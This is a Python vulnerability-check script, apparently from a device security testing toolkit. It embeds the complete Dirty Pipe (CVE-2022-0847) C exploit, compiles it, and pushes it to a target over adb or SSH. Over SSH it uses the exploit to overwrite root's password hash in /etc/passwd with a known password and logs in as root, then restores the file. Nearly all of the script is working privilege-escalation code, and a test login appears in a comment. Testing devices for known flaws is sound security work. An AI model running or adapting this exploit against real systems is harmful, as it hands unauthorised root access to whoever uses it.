#!/usr/bin/python3

import sys
import pyfiglet
import argparse
import tempfile
import paramiko
import getpass
import crypt
from pathlib import Path

sys.path.append('..')
from utils import *


poc_src = b"""
/* SPDX-License-Identifier: GPL-2.0
 * Copyright 2022 CM4all GmbH / IONOS SE
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}
int main(int argc, char **argv)
{
    if (argc != 4) {
        fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\\n", argv[0]);
        return EXIT_FAILURE;
    }
    /* dumb command-line argument parser */
    const char *const path = argv[1];
    loff_t offset = strtoul(argv[2], NULL, 0);
    const char *const data = argv[3];
    const size_t data_size = strlen(data);
    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\\n");
        return EXIT_FAILURE;
    }
    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\\n");
        return EXIT_FAILURE;
    }
    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }
    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }
    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\\n");
        return EXIT_FAILURE;
    }
    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\\n");
        return EXIT_FAILURE;
    }
    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);
    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\\n");
        return EXIT_FAILURE;
    }
    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\\n");
        return EXIT_FAILURE;
    }
    printf("It worked!\\n");
    return EXIT_SUCCESS;
}
"""


def argument():
    parser = argparse.ArgumentParser()
    parser.add_argument('--arch', help='arm | aarch64 | x64', type=str, required=True)
    parser.add_argument('--connect', help='adb | ssh', type=str, required=True)
    parser.add_argument('--device', help='ip:port', type=str, required=True)
    return parser, parser.parse_args()


if __name__ == '__main__':
    print(pyfiglet.figlet_format('cve_poc_dirtypipe'))
    parser, args = argument()
    ip, port = args.device.split(':') if ':' in args.device else (args.device, 22)
    with tempfile.TemporaryDirectory() as d:
        with tempfile.NamedTemporaryFile(suffix='.c', dir=d) as f:
            f.write(poc_src)
            poc_file = f'{d}/cve20220847'

            if args.arch == 'x64':
                compiler = 'gcc'
            elif args.arch == 'arm':
                compiler = 'arm-linux-gnueabihf-gcc'
            elif args.arch == 'aarch64':
                compiler = 'aarch64-linux-gnu-gcc'
            else:
                parser.print_help()
            output, ret_code = shell_cmd(f'{compiler} --static {f.name} -o {poc_file}')
            if ret_code != 0:
                print_failed('POC编译失败')
                exit(1)

        if args.connect == 'adb':
            shell_cmd(f'adb connect {ip}:{port}')
            shell_cmd(f'adb push {poc_file} /data/local/tmp')
            shell_cmd('adb shell chmod +x /data/local/tmp/cve20220847')
            # TODO
        elif args.connect == 'ssh':
            username = input('请输入用户名：')          # lx_rjzx
            password = getpass.getpass('请输入密码：')  # lx_rjzx

            tp = paramiko.Transport((ip, port))
            tp.connect(username=username, password=password)
            sftp = paramiko.SFTPClient.from_transport(tp)
            ssh = paramiko.SSHClient()
            ssh._transport = tp

            sftp.put(poc_file, '/tmp/cve20220847')
            ssh.exec_command('chmod +x /tmp/cve20220847')
            ssh.exec_command('cp /etc/passwd /tmp/passwd.bak')

            new_passwd = 'autosec'  # 新密码
            passwd_hash = crypt.crypt(new_passwd, crypt.METHOD_MD5).replace('$', '\$')
            stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd|head -n1')
            passwd_hash = f':{passwd_hash}{stdout.read().decode("utf-8")[6:]}'

            ssh.exec_command(f'/tmp/cve20220847 /etc/passwd 4 "{passwd_hash}"') # 漏洞利用

            cleanup = 'rm /tmp/passwd.bak /tmp/cve20220847'
            try:
                # 尝试用新密码登录
                ssh2 = paramiko.SSHClient()
                ssh2.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh2.connect(hostname=ip, port=port, username='root', password=new_passwd)
                ssh2.exec_command(f'cp /tmp/passwd.bak /etc/passwd && {cleanup}')
                print_failed('cve20220847 漏洞存在')
            except paramiko.AuthenticationException:
                ssh.exec_command(cleanup)
                print_success('cve20220847 漏洞不存在')
        else:
            parser.print_help()
